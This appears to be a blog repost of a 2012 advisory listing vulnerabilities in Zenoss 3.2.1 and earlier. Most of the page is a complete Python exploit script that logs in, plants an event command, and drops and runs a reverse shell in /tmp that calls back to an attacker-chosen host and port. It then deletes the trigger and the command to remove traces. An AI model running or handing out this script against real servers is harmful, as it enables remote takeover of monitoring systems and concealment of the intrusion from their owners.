Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86373815

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

source: https://www.securityfocus.com/bid/54793/info

Zenoss is prone to the following security vulnerabilities:

1. Multiple arbitrary command-execution vulnerabilities
2. Multiple HTML-injection vulnerabilities
3. An open-redirection vulnerability
4. Multiple directory-traversal vulnerabilities
5. Multiple information-disclosure vulnerabilities
6. A code-execution vulnerability

An attacker can exploit these issues to retrieve arbitrary files, redirect a user to a potentially malicious site, execute arbitrary commands, execute HTML and script code in the context of the affected site, steal cookie-based authentication credentials to perform unauthorized actions in the context of a user's session, or disclose sensitive-information.

Zenoss 3.2.1 and prior are vulnerable.

# Zenoss <= 3.2.1 Remote Post-Authentication Command Execution #################
# o Requires:     Credentials for a user with "ZenManager" or "Manager" roles.
# o Tested:       Zenoss 3.2.1
# o Default port: 8080
# Brendan Coles <bcoles at gmail dot com> # 2012-03-14
################################################################################
import socket, sys, random, time, re
#verbose = True
verbose = False

# usage
if len(sys.argv) < 6:
	print "Zenoss <= 3.2.1 Remote Post-Authentication Command Execution"
	print "[*] Usage: python "+sys.argv[0]+" <RHOST> <RPORT> <username> <password> <LHOST> <LPORT>"
	print "[*] Example: python "+sys.argv[0]+" 192.168.1.10 8080 zenoss zenoss 192.168.1.1 4444"
	sys.exit(0)

# zenoss details
RHOST    = sys.argv[1]
RPORT    = int(sys.argv[2])
username = sys.argv[3]
password = sys.argv[4]

# reverse shell
LHOST    = sys.argv[5]
LPORT    = int(sys.argv[6])

# random file name
filename = ""
for i in range(0,random.randint(10,20)):
	filename = filename+chr(random.randint(97,122))

# connect to RHOST:RPORT
try:
	socket.inet_aton(RHOST)
except socket.error:
	print "[-] Error: Could not create socket."
	sys.exit(1)
try:
	s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	s.connect((RHOST,RPORT))
except:
	print "[-] Error: Could not connect to server"
	sys.exit(1)


# Login and get cookie
if verbose: print "[*] Logging in"
request = "GET /zport/acl_users/cookieAuthHelper/login?__ac_name="+username+"&__ac_password="+password+" HTTP/1.1\r\nHost: "+RHOST+":"+str(RPORT)+"\r\n\r\n"
try:
	# send request
	s.sendto(request, (RHOST, RPORT))
	data = s.recv(1024)
	if verbose: print str(data)+"\r\n"
	# get ginger cookie
	m = re.search('(__ginger_snap=".+";)', data)
	if not m:
		raise Exception("[-] Error: Could not retrieve __ginger_snap cookie value")
	else:
		ginger_cookie = str(m.group(1))
except:
	print "[-] Error: Login failed"
	sys.exit(1)


# Add empty command to web interface
if verbose: print "[*] Adding command to Zenoss"
request = "GET /zport/dmd/ZenEventManager/commands/?id="+filename+"&manage_addCommand%3Amethod=+Add+&__ac_name="+username+"&__ac_password="+password+" HTTP/1.1\r\nHost: "+RHOST+":"+str(RPORT)+"\r\n\r\n"
try:
	# send request
	s.sendto(request, (RHOST, RPORT))
	data = s.recv(1024)
	if verbose: print str(data)+"\r\n"
	m = re.search('(Bobo-Exception-Type: Unauthorized)', data)
	if m: raise Exception("[-] Error: Incorrect username/password")
	else: print "[+] Added command to Zenoss successfully"
except:
	print "[-] Error: Adding command to Zenoss failed"
	sys.exit(1)


# Wait for command to be saved
wait = 5
if verbose: print "[*] Waiting "+str(wait)+" seconds"
time.sleep(wait)


# Edit command to drop a python reverse shell request in /tmp/
if verbose: print "[*] Updating command with payload"
postdata = "zenScreenName=editEventCommand.pt&enabled%3Aboolean=True&defaultTimeout%3Aint=60&delay%3Aint=1&repeatTime%3Aint=15&command=echo+%22import+socket%2Csubprocess%2Cos%3Bhost%3D%5C%22"+LHOST+"%5C%22%3Bport%3D"+str(LPORT)+"%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28host%2Cport%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B+os.dup2%28s.fileno%28%29%2C1%29%3B+os.dup2%28s.fileno%28%29%2C2%29%3Bp%3Dsubprocess.call%28%5B%5C%22%2Fbin%2Fsh%5C%22%2C%5C%22-i%5C%22%5D%29%3B%22+%3E+%2Ftmp%2F"+filename+".py%20%26%26%20chmod%20%2bx%20%2Ftmp%2F"+filename+".py%20%26%26%20python%20%2Ftmp%2F"+filename+".py&clearCommand=&add_filter=&manage_editEventCommand%3Amethod=+Save+"
request = "POST /zport/dmd/ZenEventManager/commands/"+filename+"?__ac_name="+username+"&__ac_password="+password+" HTTP/1.1\r\nHost: "+RHOST+":"+str(RPORT)+"\r\nX-Requested-With: XMLHttpRequest\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: "+str(len(postdata))+"\r\n\r\n"+postdata
try:
	# send request
	s.sendto(request, (RHOST, RPORT))
	data = s.recv(1024)
	if verbose: print str(data)+"\r\n"
	# get zope cookie
	m = re.search('(_ZopeId=".+";)', data)
	if not m: raise Exception("[-] Error: Could not retrieve _ZopeId cookie value")
	else:
		zope_cookie = str(m.group(1))
		print "[+] Sent payload successfully"
except:
	print "[-] Error: Sending payload failed"
	sys.exit(1)


# Wait for command to be saved
wait = 5
if verbose: print "[*] Waiting "+str(wait)+" seconds"
time.sleep(wait)


# Send trigger event and get event id
if verbose: print "[*] Sending trigger event"
postdata = '{"action":"EventsRouter","method":"add_event","data":[{"summary":"'+filename+'","device":"'+filename+'","component":"'+filename+'","severity":"Info","evclasskey":"","evclass":""}],"type":"rpc","tid":0}'
request = "POST /zport/dmd/Events/evconsole_router HTTP/1.1\r\nHost: "+RHOST+":"+str(RPORT)+'\r\nX-Requested-With: XMLHttpRequest\r\nCookie: '+ginger_cookie+' '+zope_cookie+'\r\nContent-Type: application/json; charset=UTF-8\r\nContent-Length: '+str(len(postdata))+'\r\n\r\n'+postdata
try:
	# send request
	s.sendto(request, (RHOST, RPORT))
	data = s.recv(1024)
	if verbose: print str(data)+"\r\n"
	# get trigger event id "evid"
	m = re.search('"evid": "(.+)"', data)
	evid = ""
	if not m: raise Exception("[-] Error: Sending trigger event failed")
	else:
		evid = str(m.group(1))
		print "[+] Sent trigger event successfully"
except:
	print "[-] Error: Sending trigger event failed"


# Wait for command to execute
wait = 60
if verbose: print "[*] Waiting "+str(wait)+" seconds"
time.sleep(wait)


# Delete trigger from web interface
if verbose: print "[*] Deleting the trigger"
postdata = '{"action":"EventsRouter","method":"close","data":[{"evids":["'+evid+'"],"excludeIds":{},"selectState":null,"field":"component","direction":"ASC","params":"{\\"severity\\":[5,4,3,2],\\"eventState\\":[0,1]}","asof":0}],"type":"rpc","tid":0}'
request = "POST /zport/dmd/Events/evconsole_router HTTP/1.1\r\nHost: "+RHOST+":"+str(RPORT)+'\r\nX-Requested-With: XMLHttpRequest\r\nCookie: '+ginger_cookie+' '+zope_cookie+'\r\nContent-Type: application/json; charset=UTF-8\r\nContent-Length: '+str(len(postdata))+'\r\n\r\n'+postdata
try:
	# send request
	s.sendto(request, (RHOST, RPORT))
	data = s.recv(1024)
	if verbose: print str(data)+"\r\n"
	print "[+] Deleted trigger successfully"
except:
	print "[-] Error: Deleting trigger failed"


# Delete command from web interface
if verbose: print "[*] Deleting the command from Zenoss"
request = "GET /zport/dmd/ZenEventManager?zenScreenName=listEventCommands&redirect=false&ids%3Alist="+filename+"&id=&manage_deleteCommands%3Amethod=Delete&__ac_name="+username+"&__ac_password="+password+" HTTP/1.1\r\nHost: "+RHOST+":"+str(RPORT)+"\r\n\r\n"
try:
	s.sendto(request, (RHOST, RPORT))
	data = s.recv(1024)
	if verbose: print str(data)+"\r\n"
	print "[+] Deleted command from Zenoss successfully"
except:
	print "[-] Error: Deleting command failed"

print "[+] You should now have a reverse shell at "+LHOST+":"+str(LPORT)
print "[+] Don't forget to delete /tmp/"+filename+".py"